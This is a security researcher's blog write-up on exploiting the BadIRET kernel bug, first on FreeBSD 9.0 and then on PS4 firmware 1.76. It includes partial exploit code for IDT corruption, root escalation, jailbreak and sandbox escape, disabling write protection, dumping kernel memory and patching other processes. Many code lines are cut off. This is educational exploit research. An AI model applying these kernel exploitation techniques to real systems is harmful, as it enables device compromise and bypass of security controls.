Hacking the PS4, part 3

Kernel exploitation

Note: This article is part of a 3 part series:

- Hacking the PS4, part 1 - Introduction to PS4's security, and userland ROP
- Hacking the PS4, part 2 - Userland code execution
- **Hacking the PS4, part 3 - Kernel exploitation**

See also: Analysis of `sys_dynlib_prepare_dlclose` PS4 kernel heap overflow

Prefix

I've recently been getting a lot of unwanted attention from people pleading me to release a "CFW" or "Jailbreak" so that they can pirate video games on their PS4.

I want to make very clear that I've primarily been doing this research as a learning exercise because I have a passion for InfoSec. This is partly the reason why I've tried to take a such an open approach; and I'm very grateful to hear whenever another aspiring security researcher tells me that they have found these articles helpful.

But if this doesn't describe you, and you just want to install a "CFW" on your console, these articles won't interest you; don't bother reading any further.

Introduction

I've had kernel code execution on the PS4 for just over a week now, and would like to explain how it works, and everything that I've managed to use it for thus far.

> PS4 kernel exploit finally working! Thanks to everyone involved!
>
> — CTurt (@CTurtE) December 6, 2015

Since the kernel vulnerability used has already been patched (somewhere in 2.xx), I have decided to explain the process of how it was exploited it in the hope that it will make for an interesting read and that it might be useful for any developers who have access to a compatible firmware.

Whilst I must refrain from releasing the full source code of the exploit and some of the details which directly apply to the PS4 due to fear that it would be used for malicious purposes, I can explain how to exploit the bug on FreeBSD, and provide some hints about how it can be ported to PS4.

Code execution

Firstly, I need to reveal the technique used to gain code execution under the WebKit process from ROP.

The JavaScript core of WebKit uses JIT (Just-in-time compilation), a way of dynamically compiling JavaScript into native code for performance reasons (as opposed to interpreters like my Game Boy emulator). Obviously, to do this requires an area of memory which is both writable and executable.

Sony handled this by creating 2 custom system calls: `sys_jitshm_create`, and `sys_jitshm_alias`. You can use these system calls directly, or the wrappers exposed by `libkernel` (`sceKernelJitCreateSharedMemory` et al.).

We reverse engineered the `libSceJitBridge.sprx` module to identify exactly how these functions are used together, and I added a simple wrapper to PS4-SDK for this functionality, called `allocateJIT`.

The basic idea is that there is no way to directly map a RWX virtual page. Instead, we need to request a shared memory allocation, and then create an alias of this memory. We map the first handle as RX, and the alias as RW. This will give us two separate virtual mappings which point to the same physical memory.

Code can now be written to the RW mapping and executed from the RX mapping like so (full example here):

```
unsigned char loop[] = { 0xeb, 0xfe };
memcpy(writableAddress, loop, sizeof(loop));

((void (*)())executableAddress)();
```

The one limitation of this is that a segfault will be triggered if a `syscall` instruction is executed from within JIT shared memory. To perform system calls we need to jump to a `syscall` instruction from `libkernel`; just like how we performed system calls with ROP.

The ROP chain to setup memory, copy WiFi-Loader, and execute it was too long to be done in a single stage, so I had to store the current stage in a cookie, and reload the page after each stage to start the next one:

```
var codeExecutionStage = getCookie("codeExecutionStage");
if(codeExecutionStage == "1") {
    allocateSharedMemory();
    document.getElementById("codeExecutionStage").innerHTML = "Stage:
    setTimeout(function() { document.cookie = "codeExecutionStage=2";
}
else if(codeExecutionStage == "2") {
    mapSharedMemory();
    document.getElementById("codeExecutionStage").innerHTML = "Stage:
    setTimeout(function() { document.cookie = "codeExecutionStage=3";
}
else if(codeExecutionStage == "3") {
    payload();
    document.getElementById("codeExecutionStage").innerHTML = "Stage:
    setTimeout(function() { document.cookie = "codeExecutionStage=4";
}
else if(codeExecutionStage == "4") {
    copy();
    document.getElementById("codeExecutionStage").innerHTML = "Stage:
    setTimeout(function() { document.cookie = "codeExecutionStage=0";
}
```

```
}
```

Since we're using the JIT system calls for their intended purpose, it's not really an exploit, just a neat trick.

You may also be disappointed to hear that very few apps have access to JIT. Sony added their own privilege checks in the kernel; only processes which pass these checks are allowed to use JIT. Unless we find another way of getting code execution, this means that exploits in games and web-apps (like YouTube and Netflix which are statically linked to old versions of WebKit) will be limited to ROP.

NULL dereferences

One of the first things I explored was the possibility of exploiting NULL dereferences since, historically these are one of the more common types of vulnerabilities.

The basic idea is that if a kernel memory allocation fails, NULL will be returned, but a vulnerable piece of kernel code would then go on to use this pointer anyway, without first checking that the allocation succeeded. This situation may also arise when a kernel pointer is initialised to NULL and utilised before being set to a valid address. In these cases, if we can map and write to NULL from userland, we would have complete control over a piece of memory which should normally only be accessible from the kernel.

Unfortunately, trying to map a NULL page will fail, returning EINVAL:

```
mmap(NULL, PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONY
```

This is due to the sysctl flag, security.bsd.map_at_zero, being set to 0; attempting to change it to 1 will also fail:

```
int enableNULLmapping(void) {
    int val = 1;
    int len = sizeof(val);

    return sysctlbyname("security.bsd.map_at_zero", NULL, 0, &val, &l
}
```

Since we have no way of controlling the memory at NULL, it would be unlikely that we can exploit any kernel NULL dereferences.

sysctl

The libkernel module contains a standard FreeBSD function called sysctl, which can be used to extract some system information.

For example, it can be used to read the value of KERN_OSTYPE, which is FreeBSD:

```
int getOS(char *destination) {
    int name[2];
```

```
    size_t len;

    name[0] = CTL_KERN;
    name[1] = KERN_OSTYPE;

    return sysctl(name, 2, destination, &len, NULL, 0);
}
```

Reading kernel call stacks

By far, the most interesting thing that `sysctl` can be used for is reading kernel call stacks:

```
size_t getKernelStacks(void *destination) {
    int name[4];
    size_t len;

    name[0] = CTL_KERN;
    name[1] = KERN_PROC;
    name[2] = KERN_PROC_KSTACK;
    name[3] = syscall(20);

    sysctl(name, 4, destination, &len, NULL, 0);

    return len;
}
```

This results in several stacks (one for each thread), like the following:

```
#0 0xffffffff8243f6dc at mi_switch+0xbc
#1 0xffffffff82473d7c at sleepq_wait_sig+0x13c
#2 0xffffffff8247415f at sleepq_timedwait_sig+0xf
#3 0xffffffff8243f2ba at _sleep+0x23a
#4 0xffffffff8244ee35 at umtx_thread_exit+0x13b5
#5 0xffffffff82616735 at amd64_syscall+0x4c5
#6 0xffffffff825ff357 at Xfast_syscall+0xf7
```

Not only does this give us an easy way to identify roughly how different some parts of the PS4 kernel are from FreeBSD, but it also leaks the addresses of some kernel functions which will be vital for exploitation later. Just in case you needed any more confirmation that there is no kernel ASLR, these function addresses are always the same across reboots.

Reading system call names

It is possible to identify unknown system calls by reading their kernel call stacks during execution. We can create a separate thread which performs an unknown system call

execution. We can create a separate thread which performs an unknown system call repeatedly, wait for it to be preempted, and read its call stack:

```
void *threadFunction(void *arg) {
    while(1) {
        syscall(532, 0, 0, 0, 0, 0, 0);
    }
}

...

ScePthread thread;
scePthreadCreate(&thread, NULL, threadFunction, NULL, "test");

size = getKernelStacks(buffer);

sceNetSend(sock, buffer, size, 0);

scePthreadCancel(thread);
```

Here is the resultant kernel call stack of the new thread:

```
#0 0xffffffff8243f6dc at mi_switch+0xbc
#1 0xffffffff8243dcaf at critical_exit+0x6f
#2 0xffffffff82609ca9 at ipi_bitmap_handler+0x159
#3 0xffffffff825ffe47 at Xipi_intr_bitmap_handler+0x97
#4 0xffffffff823723fa at uart_bus_detach+0x38a
#5 0xffffffff82374f26 at uart_tty_detach+0xad6
#6 0xffffffff823f1661 at cnputc+0x91
#7 0xffffffff823f17a8 at cnputs+0x28
#8 0xffffffff8246e44a at vprintf+0x9a
#9 0xffffffff8246e38f at printf+0x4f
#10 0xffffffff826a2ede at sys_regmgr_call+0x20e
#11 0xffffffff82616735 at amd64_syscall+0x4c5
#12 0xffffffff825ff357 at Xfast_syscall+0xf7
```

This confirms that system call `532`, `sys_regmgr_call`, executes a registry command, as predicted in my previous article.

Although it is technically possible for the kernel to be preempted during any piece of kernel code which doesn't follow a `critical_enter`, it can be difficult to achieve this in practice. This is especially true with system calls which consist of only a few instructions, resulting in a smaller race window, such as `getpid`:

```
int sys_getpid(struct thread *td, struct getpid_args *uap) {
    struct proc *p = td->td_proc;
```

```
    struct proc *p = td->td_proc;

    td->td_retval[0] = p->p_pid;

    return (0);
}
```

```
sys_getpid:
    mov     rax, [rdi+8]
    movsxd  rax, dword ptr [rax+0B0h]
    mov     [rdi+368h], rax
    xor     eax, eax
    retn
```

BadIRET

BadIRET is a kernel vulnerability originally discovered in Linux and later found to affect FreeBSD too.

Despite being fixed back in 2014, BadIRET has only recently gotten a security advisory, apparently due to the FreeBSD Security Officer being replaced around this time. Because of this, I hadn't heard of BadIRET back when I started researching the PS4.

Check out the blog posts by Rafal Wojtczuk and Adam Zabrocki for detailed explanations of how BadIRET can be exploited on Linux; most of the concepts apply to FreeBSD too.

I'm pleased to report that the PS4 kernel from firmware 1.76 **is** vulnerable to BadIRET!

Brief explanation

The `GS` segment register is used by userland processes to access per-thread state data, and by the kernel to access per-processor state data.

The kernel switches between the current kernel and userland `GS` bases using the `swapgs` instruction.

When the kernel wishes to return execution from an interrupt back to userland, it uses the `iret` instruction. The problem is that if `iret` throws an `#SS` exception, one extra `swapgs` is performed, meaning that the `GS` register will switch to the userland `GS` base whilst the kernel still expects it to be the kernel `GS`.

Since the userland `GS` base is fully controllable with `sysarch`:

```
#define AMD64_SET_GSBASE 131

int amd64_set_gsbase(void *base) {
    return sysarch(AMD64_SET_GSBASE, &base);
}
```

Any writes which the kernel performs relative to the `GS` base can be controlled after the vulnerable `swapgs`.

Interestingly, OpenBSD has a `sysctl` option called `machdep.userldt` which controls whether user processes should be allowed to modify `LDT`, and is disabled by default. If something like this would have been included in FreeBSD, we probably wouldn't have had permission to create `LDT` entries, and trigger the vulnerable `#SS` exception.

Debugging FreeBSD

Since the PS4 firmware is based on FreeBSD 9.0-RELEASE, the first thing to do is achieve kernel code execution from the bug on FreeBSD 9.0; it is essential to have a decent debugger setup for this. I won't go through this process in much detail since iZsh explains how to debug a FreeBSD virtual machine on OS X in his sysret exploit write-up, and the stages are almost identical for Linux Mint.

Just install the build system beforehand:

```
sudo apt-get install build-essential
sudo apt-get install libncurses5-dev
```

And install `gdb-amd64-marcel-freebsd` as explained.

Note that you may need to set the appropriate architecture if you receive the "remote register badly formatted" error.

```
gdb-amd64-marcel-freebsd -q -tui kernel/kernel
set architecture i386:x86-64
target remote localhost:8864
```

Another option is to use the remote gdb feature within IDA Pro.

Finally, to transfer code to the virtual machine, you can setup a web server on the host and use the `fetch` command:

```
fetch -o badiret.c http://192.168.0.4/badiret.c
```

Optimisation

Exploiting BadIRET relies on the specific configuration of a number of low-level x86 idioms. The exploit is sensitive to certain compiler optimisations which may generate code that is functionally equivalent to the unoptimised code, but have adverse effects when executed. When writing this kernel exploit, compiler optimisations were disabled to increase reliability and reproducibility across platforms.

For example, one problem I encountered when building the exploit with optimisations is the use of segment registers. With optimisations enabled, certain variables would be accessed relative to the `cs` segment register. However, by the time our kernel payload is executed, the `cs` register will have been changed by the kernel, meaning that these variables will be incorrectly addressed.

The Interrupt Descriptor Table

The Interrupt Descriptor Table (IDT) is the data structure on x86 used to manage interrupts. Corrupting this structure wasn't a viable attack vector for BadIRET on Linux since it is read-only. However, on FreeBSD this is not the case.

With the ability to write data to kernel memory, it is possible to corrupt an entry in this table and hijack an exception handler to obtain kernel code execution. Our target to hijack will be the page fault exception handler (`#PF`), called `Xpage`, which is fired when a page fault occurs; its address on FreeBSD 9.0 is `0xFFFFFFFF80B03240`.

We first need to use the unprivileged `sidt` (Store Interrupt Descriptor Table) instruction from userland to retrieve the Interrupt Descriptor Table Register, which is described as the following 6 byte structure:

```
struct idtr {
    uint16_t limit;
    uint64_t base;
} __attribute__((packed));
```

With the IDT base, we can calculate the address of the function pointer to the page fault handler (`#PF` is entry 14 in the IDT):

```
struct idt_descriptor *sidt(void) {
    struct region_descriptor idt;
    asm volatile("sidt %0" : "=m"(idt));
    return (struct idt_descriptor *)idt.rd_base;
}

xpageEntryHi = &(sidt()[IDT_PF]).off_high;
```

Abusing `critical_enter` to corrupt kernel pointers

Now that we've obtained this address, we need to identify a suitable means of controlling it.

Our technique will abuse `critical_enter`, a routine which increments `td->td_critnest` to keep count of the number of critical sections the kernel thread is currently in (this count is decremented at `critical_exit`). The `td_critnest` value is accessed relative to an address stored at the `GS` base (known as `td`):

```
critical_enter:
    mov rax, gs:0          ; rax = *gs (td)
    inc dword [rax+0x3cc] ; td->td_critnest++;
    ret
```

Since kernel memory is based at `0xffffffff80000000` in the virtual address space, kernel function pointers have an upper four bytes of `0xffffffff`. If `(*gs)+0x3cc` points to the upper four bytes of a kernel pointer, the value will overflow from `0xffffffff` to `0x00000000`, effectively

corrupting it into a userland pointer.

In our case, this should point to the upper 4 bytes of the page fault entry in the IDT, minus the `0x3cc` offset:

```
gsBase[0] = xpageEntryHi - 0x3cc;
```

This is how the `critical_enter` write will affect the `#PF` entry in the IDT (bytes in bold are used by the address):

```
00 8E B0 80   FF FF FF FF      00 00 00 00 40 32 20 00 - Address: 0xF
00 8E B0 80  (FF FF FF FF)+1   00 00 00 00 40 32 20 00 - Address: 0x(
00 8E B0 80   00 00 00 00      00 00 00 00 40 32 20 00 - Address: 0x0
```

Since FreeBSD 9.0 doesn't have support for SMAP (Supervisor Mode Access Prevention) or SMEP (Supervisor Mode Execution Prevention), the CPU will happily execute userland memory in kernel mode, as long as it is marked as executable. So to achieve kernel code execution, we just need to map and write our payload to `0x80B03240`, and trigger a page fault.

Triggering a page fault

Since we filled most of our userland GS memory with `0`, after triggering the bug, the kernel will eventually attempt to access an address from GS which will be `NULL`, and a page fault will be triggered.

The exact place where this happens is the following instruction from `_thread_lock_flags`:

```
FFFFFFFF80823368: mov rax, [r12+18h]
```

Since `r12` contains `0`, a read from the unmapped address `0x18` will be performed, resulting in a jump to the page fault handler (which now points to our userland address).

At this point, we are executing arbitrary code in the kernel. However, we are already two faults deep:

```
#SS exception -> Corrupt #PF handler -> #PF exception -> Our payload
```

In x86 a triple fault will cause a reboot. We need to take precautions to prevent any further faults from occurring and crashing the system. Mainly, we need to ensure that any user memory we access in the payload won't cause a further page fault.

There are several ways to achieve this: you can prefault over all memory which you intend to use in your payload by simply performing a read to these memory locations before performing the exploit:

```
void prefault(void *address, size_t size) {
    uint64_t i;
    for(i = 0; i < size; i++) {
```

```
        volatile uint8_t c;
        (void)c;

        c = ((char *)address)[i];
    }
}
```

This is equivilant to passing the `MAP_PREFAULT_READ` flag to `mmap`.

Alternatively, you can use the `mlock` system call to make sure that memory pages intended to be accessed from the payload won't be paged out of physical memory.

In general, it's best to keep the payload code to the bare minimum before returning to userland.

Privilege escalation

The standard payload for a kernel exploit is to give the current process `root` privileges:

```
struct thread *td;
struct ucred *cred;

// Get td pointer
asm volatile("mov %0, %%gs:0" : "=r"(td));

// Resolve creds
cred = td->td_proc->p_ucred;

// Escalate process to root
cred->cr_uid = cred->cr_ruid = cred->cr_rgid = 0;
cred->cr_groups[0] = 0;
```

On the PS4, our process is also in a FreeBSD jail, so we'll also need to perform a *jailbreak*:

```
cred->cr_prison = &prison0;
```

This causes the `jailed` check to return 0.

We'll also need to break out of the sandbox to gain full access to the filesystem:

```
void *td_fdp = *(void **)(((char *)td_proc) + 72);
uint64_t *td_fdp_fd_rdir = (uint64_t *)(((char *)td_fdp) + 24);
uint64_t *td_fdp_fd_jdir = (uint64_t *)(((char *)td_fdp) + 32);
uint64_t *rootvnode = (uint64_t *)0xFFFFFFFF832EF920;
*td_fdp_fd_rdir = *rootvnode;
*td_fdp_fd_jdir = *rootvnode;
```

As mentioned earlier, Sony added a few additional privilege checks to the PS4 kernel, such as whether the current process has permission to use the JIT system calls, access the registry, send debug messages over UART, etc. I won't go over how to disable all of these checks, but once you've dumped the kernel, they are trivial to bypass; just search for `sceSblACMgr`.

Restoring kernel state

We need to cleanup the IDT corruption performed by the `td->td_critnest++` write, as well any other writes performed along the way (at an offset from `td`).

We can write to the page fault entry in the IDT directly since we are now executing in kernel mode:

```
*((int *)XpageEntryHi) = 0xffffffff;
```

We can verify that the page fault entry is correctly restored by triggering a page fault and seeing where the debugger jumps:

```
char *p = NULL;
*p = 0;
```

However, if we dump the nearby memory before and after triggering the exploit (`(gdb) x /512bx 0xffffffff81183c7c`), we will find that a few other bytes were corrupted too. For example:

```
0xffffffff81184048 before: 0xff 0xff 0xff 0xff 0x00 0x00 0x00 0x00
0xffffffff81184048 after:  0xff 0xff 0xff 0xff 0x01 0x00 0x00 0x00
```

Simply write back the all values which were changed, and the system should be ready to continue execution gracefully.

Now, the final step is a matter of crafting a valid `iret` stack frame and returning to userland via the `iret` instruction.

In userland, to prevent the next interrupt from triggering the vulnerable `#SS` exception again, set the `sd_p` member of the LDT descriptor back to 1 so that it is marked present, and update it with `i386_set_ldt`.

Improving reliability

In its current state, the exploit will work most of the time. However, occasionally multiple nested calls to `critical_enter` will occur before jumping to the `#PF` handler.

In this situation, the upper 4 bytes of the `#PF` function pointer in the IDT would be `0x00000001` or `0x00000002` rather than `0x00000000`. To ensure that our payload is always executed, just map and copy the trampoline code to all of these locations.

Porting to PS4

Now that we've successfully exploited the bug on FreeBSD 9.0, let's identify every assumption that our exploit relies on for kernel code execution:

- #PF being the 14th entry in the IDT,
- `Xpage` address being `0xFFFFFFFF80B03240`,
- The `td` pointer being accessed from `gs:0`,
- The offset of `td_critnest` in `struct thread` being `0x3cc`,

#PF index in IDT

Since page fault is defined as hardware exception 14 in the x86 architecture, it is safe to assume that this is unchanged in the PS4.

`Xpage` address

I wasn't able to leak the address of `Xpage` directly, but we know the address of `Xfast_syscall` to be `0xFFFFFFFF825FF260` from `sysctl` extracted kernel call stacks, and on FreeBSD these functions happen to be very close:

```
FreeBSD Xpage: 0xFFFFFFFF80B03240
FreeBSD Xfast_syscall: 0xFFFFFFFF80B03330
Difference: 0xf0
```

Subtracting `0xf0` from the address of `Xfast_syscall` gives us `0xFFFFFFFF825FF170`, which should either be perfect, or an accurate enough estimate. Knowing the exact address of `Xpage` is not necessary. By mapping a large NOP slide in userland, we only need to guess the general range the function is in.

`td` offset from `gs`

There is a high probability that Sony changed some internal system structs. Since the `gs` register is generally used as scratch space, we should make no hard assumptions about `td` being stored at `gs:0`. This isn't too big of a problem since we can spray the crafted `td` address across multiple offsets in `gs` memory and be fairly sure that the PS4 will use one of them as `td`.

`td_critnest` offset

The only other unknown fixed offset that we rely on is `critical_enter` incrementing `td+0x3cc`. This was not the case on the PS4, and finding the actual offset was the most time consuming to find.

We experimented with various different ways of trying to deduce this offset. One idea was to point `td` into a large empty mapping in userland and watch for writes to memory. By starting a second thread that scanned the mapping in a tight loop, it was possible to identify at which offsets writes occurred, and send this information over the network before the entire system crashed. This race window was large enough to work when tested in a FreeBSD VM:

```
[+] Allocated LDT index: 16
Leak thread started
```

```
[+] Dry run (set SS to 0x87)...
[+] Here goes...
Found non-zero memory at offset 3cc
Found non-zero memory at offset 3d0
Found non-zero memory at offset 3d8
Found non-zero memory at offset 3cc
Found non-zero memory at offset 3d0
Found non-zero memory at offset 3d8
```

However, we had less luck running this same code on the PS4. We could only guess that the system crashed more quickly, and the kernel didn't have enough time to send these packets.

Since this was the only unknown value we depended on, in the end it proved easier to just brute force it. We know that it must be aligned to 4 bytes, and that it's likely to be within the range of `0x3b0 - 0x400`, which gives us only about 20 possibilities to try (in reality, I tried a much larger range than this just in case).

Brute forcing this offset was extremely tedious since I could only try one at a time, and the PS4 needed to reboot into safe mode after each time it had run a test and panicked (takes just under 2 minutes); every time I fixed something in the code I had to go through all these offsets again. Additionally, since the exploit isn't quite 100% reliable, I mistakenly tried and disregarded the correct offset several times without realising.

It was a massive endurance, but I eventually found the correct `td->td_critnest` offset.

Other PS4 quirks

Aside from the fixed offsets and addresses, there are a few other things we need to account for when porting the code to PS4. Since we can't perform `PROT_EXEC` mappings directly, we need to to use the JIT technique described earlier to map the payload.

Fixed mappings must be aligned to `PAGE_SIZE`, which is 4KB by default on FreeBSD, but 16KB for PS4.

Dumping the kernel

Since restoring the kernel to a stable state relies on cleaning up many different addresses in the IDT, I decided that it would be a good idea to first verify that the payload was successfully being executed by dumping kernel memory over a socket.

Using `sysctl`, I was able to extract the addresses of the `send` related functions:

```
#0 0xffffffff8243f6dc at mi_switch+0xbc
#1 0xffffffff82473d7c at sleepq_wait_sig+0x13c
#2 0xffffffff82473c4b at sleepq_wait_sig+0xb
#3 0xffffffff8243f2da at _sleep+0x25a
#4 0xffffffff82493f07 at sbwait+0xd7
#5 0xffffffff82497181 at sosend_generic+0x291
#6 0xffffffff8249ea70 at kern_sendit+0x170
#7 0xffffffff8249ed8f at sys_sendto+0x17f
#8 0xffffffff8249ec69 at sys_sendto+0x59
```

```
#9 0xffffffff82616735 at amd64_syscall+0x4c5
#10 0xffffffff825ff357 at Xfast_syscall+0xf7
```

We can use `sys_sendto` directly from the kernel without needing to restore the system to a fully stable state.

```
// From userland:
// Open a socket and connect it to our dump server
struct sockaddr_in server;

server.sin_len = sizeof(server);
server.sin_family = AF_INET;
server.sin_addr.s_addr = IP(192, 168, 0, 4);
server.sin_port = sceNetHtons(9023);
memset(server.sin_zero, 0, sizeof(server.sin_zero));

int sock = sceNetSocket("dumper", AF_INET, SOCK_STREAM, 0);
sceNetConnect(sock, (struct sockaddr *)&server, sizeof(server));

// Disable packet queuing
int flag = 1;
sceNetSetsockopt(sock, IPPROTO_TCP, TCP_NODELAY, (char *)&flag, sizeo

// Allocate and prefault over dump memory
dump = mmap(NULL, PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_ANONYMOUS |
prefault(dump, PAGE_SIZE);


// From kernel:
struct thread *td;

// Switch back to kernel GS base
asm volatile("swapgs");

// Get td address
asm volatile("mov %0, gs:0" : "=r"(td));

// Copy some kernel memory into userland memory
memcpy(dump, (void *)0xffffffff8249ec10, 0x1000);

int (*sys_sendto)(ScePthread td, struct sendto_args *uap) = (void *)0
struct sendto_args args = { sock, dump, 0x1000, 0, NULL, 0 };

while(sys_sendto(td, &args) == EINTR);
```

Analysing the kernel dump

I scanned through the kernel address space and discovered that the kernel was stored in RAM as a `0xeac180` byte ELF from address `0xffffffff80700000`, and data was stored from `0xffffffff82cfc000` onwards. This ELF can be loaded into IDA Pro with all symbols.

We can now easily find the addresses needed to call other kernel functions, restore kernel state, hook other kernel function pointers, and much more.

You can also extract the DualShock 4 firmware from `0xFFFFFFFF82A0BBF0`, size: `0x38000` bytes. It is ARM code, based at `0x8000`.

Restoring kernel state

Whilst developing the FreeBSD exploit, we had the luxury of dumping the IDT with a debugger before and after triggering the exploit to see which bytes were corrupt, and fix them accordingly. Unfortunately, for PS4 we can only dump the IDT after triggering the exploit.

Rather than inspecting all of the IDT entries manually for corruption, I found the IDT initialisation code in FreeBSD and copied it into the PS4 payload using fixed function addresses taken from the kernel dump. This re-initialised the IDT to its correct state:

```
// Rewrite IDT
void (*setidt)() = (void *)0xFFFFFFFF82603FA0;

setidt(IDT_DE, 0xFFFFFFFF825FED40, SDT_SYSIGT, SEL_KPL, 0);
setidt(IDT_DB, 0xFFFFFFFF825FECB0, SDT_SYSIGT, SEL_KPL, 0);
setidt(IDT_NMI, 0xFFFFFFFF825FF3E0, SDT_SYSIGT, SEL_KPL, 2);
...
```

However, if you plan to release any kernel code, I would advise you to dynamically resolve these function addresses at runtime as demonstrated by fail0verflow in their kexec system call implementation.

Kernel code execution under less critical context

As explained earlier, the payload executes under a very unstable double-fault context, such that accessing any unpaged memory will cause a triple fault and crash the system.

This context is not very practical or safe for general kernel payload development. Instead, we use this initial code execution to hijack the `socketops->fo_chmod` handler:

```
struct fileops *socketops = (struct fileops *)0xFFFFFFFF83242C40;
original_fo_chmod = socketops->fo_chmod;
socketops->fo_chmod = payload;
```

After returning to userland, we can now re-enter the kernel by using the `fchmod` system call to trigger our second payload:

```
int s = sceNetSocket("kernelTrigger", AF_INET, SOCK_STREAM, 0);

if(s > 0) {
    printf("Triggering second kernel payload\n");
    fchmod(s, 0);
}
else printf("Failed to allocate socket\n");

sceNetSocketClose(s);
```

We have a lot more freedom in this context, and can easily restore the original handler when finished:

```
// We are in a normal kernel context here
int payload(void *fp, int mode, void *active_cred, struct thread *td)
    int (*sendto)(struct thread *td, struct sendto_args *uap) = (void

    struct sendto_args args = { sock, payloadMessage, strlen(payloadM
    sendto(td, &args);


    // Restore original handler
    struct fileops *socketops = (struct fileops *)0xFFFFFFFF83242C40;
    socketops->fo_chmod = original_fo_chmod;

    return 22;
}
```

Reliability

The exploit is fairly reliable, however there are a few odd cases. For example, occasionally the first kernel payload (called from the hijacked `#PF` handler) will be triggered twice:

```
[+] Here goes...
[+] Entered critical payload
[+] Entered shellcode
[+] UID: 0, GID: 0
[+] Triggering second kernel payload
[+] Entered main payload
[+] Entered critical payload
[+] Entered shellcode
```

There are many potential explanations for what causes this, including some form of cache

incoherency between processors, or preemption of the kernel task before the IDT is fixed.

Since this is fairly rare, and it isn't much of an issue (I'd rather the payload was triggered twice than not triggered at all), I haven't bothered to look into exactly what causes this yet.

Disabling CPU write protection

To make patches to kernel code, bit 16 of the `cr0` register should be cleared. This disables write protection on the CPU so that we can freely write to memory mapped as read only:

```
#define X86_CR0_WP (1 << 16)

static inline uint64_t readCr0(void) {
    uint64_t cr0;

    asm volatile (
        "movq %%cr0, %0"
        : "=r" (cr0)
        : : "memory"
    );

    return cr0;
}

static inline void writeCr0(uint64_t cr0) {
    asm volatile (
        "movq %0, %%cr0"
        : : "r" (cr0)
        : "memory"
    );
}

// Disable write protection
uint64_t cr0 = readCr0();
writeCr0(cr0 & ~X86_CR0_WP);

// Patch something

// Restore write protection
writeCr0(cr0);
```

The above code uses AT&T syntax x86 assembly.

Enable UART output

It's been long known that there are two UART ports on the PS4, which can be read from with

some soldering, however the output of these UART ports is replaced with all spaces on retail consoles.

With kernel dumped, we can locate the two places where the console output is cleared:

```
int
ttydisc_write(struct tty *tp, struct uio *uio, int ioflag)
{
    ...

    error = uiomove(ob, nlen, uio);
    if ( !error )
    {
        if (bootparam_disable_console_output() && nlen)
        {
            left = -nlen;
            obp = ob;
            do
            {
                *obp++ = ' ';
                ++left;
            }
            while ( left );
    }
    error = ENXIO;

    ...
}

void
cnputc(int c) {
    if (bootparam_disable_console_output())
        c = ' ';
    ...
}
```

Both places check the value returned from `bootparam_disable_console_output` before disabling console output, which is implemented as follows:

```
unsigned int
bootparam_disable_console_output()
{
    return (unsigned int)(*(uint16_t *)0xFFFFFFFF833242F6) >> 15;
}
```

So to disable this check, we just need to clear bit 15 of this variable in our payload:

```
// bootparam_disable_console_output = 0
uint16_t *bootParams = (uint16_t *)0xFFFFFFFF833242F6;
*bootParams &= ~(1 << 15);
```

If you search for xrefs to this variable, you'll notice that it's also used in the checks for `sceSblRcMgrIsAllowDisablingAslr`, `sceSblRcMgrIsAllowRegistryAccess` and many more.

Filesystem

After completely breaking out of the sandbox and patching our process with the highest rights, our process has unrestricted access to the entire filesystem.

I published a listing of the root directory of the PS4 earlier this week.

In particular, one interesting thing is the ability to dump decrypted PS4 NOR flash from the `sflash` partitions under `/dev/`. I haven't really had time to analyse these dumps completely yet, but it mostly consists of data in the SLB2 format.

Exploring other processes

Previously, we could only obtain information about the WebKit process which we hijacked, but now that we've patched our process with the highest credentials, we can access all processes.

To list all processes, we can read the `kern.proc.pid` name of `sysctl`:

```
#define CTL_KERN 1
#define KERN_PROC 14
#define KERN_PROC_PID 1

int (*sysctl)(int *name, uint32_t namelen, void *oldp, size_t *oldler
RESOLVE(1, sysctl);

int pid, mib[4];
size_t len;

pid = 0;
//pid = syscall(20); // getpid()

mib[0] = CTL_KERN;
mib[1] = KERN_PROC;
mib[2] = KERN_PROC_PID;
mib[3] = pid;

if(sysctl(mib, 4, dump, &len, NULL, 0) == -1) perror("sysctl");
else if(len > 0) {
```

```
    char *name = dump + 0x1bf;
    char *thread = dump + 0x18a;

    printf("  [+] PID %d, name: %s, thread: %s\n", pid, name, thread)
}
```

A list of all processes was also posted in my recent gist.

Since these process numbers are not always the same, it is best to iterate over every PID until you find the one with the process name you are interested in. For example, to target the currently running game, search for a process with the name "eboot.bin":

```
if(strcmp(name, "eboot.bin") == 0) patchPid = pid;
```

The next stage is to read all mappings from the target process, which can be done with the `KERN_PROC_VMMAP` name of `sysctl`. Due to ASLR, the addresses of mappings will always be different, so you should read them dynamically.

Once you've identified a mapping you want to dump, you can use ptrace to read it:

```
int result = ptrace(PTRACE_ATTACH, pid, NULL, NULL);

printf("  [+] Attaching to SceShellUI: %d\n", result);

unsigned long offset;
struct ptrace_io_desc pt_desc;

char *readbuf = mmap(NULL, mappingSize, PROT_READ | PROT_WRITE, MAP_A

for(offset = mappingAddress; offset < mappingAddress + mappingSize; o
    pt_desc.piod_op = PIOD_READ_D;
    pt_desc.piod_addr = readbuf;
    pt_desc.piod_offs = offset;
    pt_desc.piod_len = DUMP_SIZE;

    int ret = ptrace(PT_IO, pid, &pt_desc, NULL);
    if(!ret) sceNetSend(sock, readbuf, pt_desc.piod_len, 0);
}
```

However, when using `ptrace` to access the memory of another process, we encountered issues where the process would immediately restart after finishing with reading or writing. This would cause any patches to be lost.

The solution is to just use `proc_rwmem` directly, from inside the kernel payload. With this, we can now dump the memory of any process, and make patches!

Booting Linux

I wanted to give a brief overview of how to setup and boot Linux on your PS4, thanks to the hard work of the fail0verflow team.

To create your own Linux distro, you'll need to compile fail0verflow's fork of the Linux kernel, and then create your own initramfs.

The easiest way to get these files into RAM is to copy them to a USB flash drive formatted as FAT32, which can then be read from once you've broken out of sandbox as explained earlier (`/mnt/usb0/`). You could also download them over the network if you prefer.

You'll also need to compile the ps4-kexec system call implementation as a relocatable binary and include it in your kernel exploit.

For your kernel payload you should copy the system call somewhere into kernel address space (like `DT_HASH_SEGMENT`), and run `kexec_init` to install it (which is guaranteed to be at offset 0 from the binary):

```
void *DT_HASH_SEGMENT = (void *)0xffffffff82200160;
memcpy(DT_HASH_SEGMENT, kexec, kexecSize);

void (*kexec_init)(void *, void *) = DT_HASH_SEGMENT;
kexec_init(NULL, NULL);
```

Once you return to userland, you can load the kernel and initramfs from USB, pass them to `kexec`, and finally reboot!

```
FILE *fkernel = fopen("/mnt/usb0/bzImage", "r");
...

FILE *finitramfs = fopen("/mnt/usb0/initramfs.cpio.gz", "r");
...

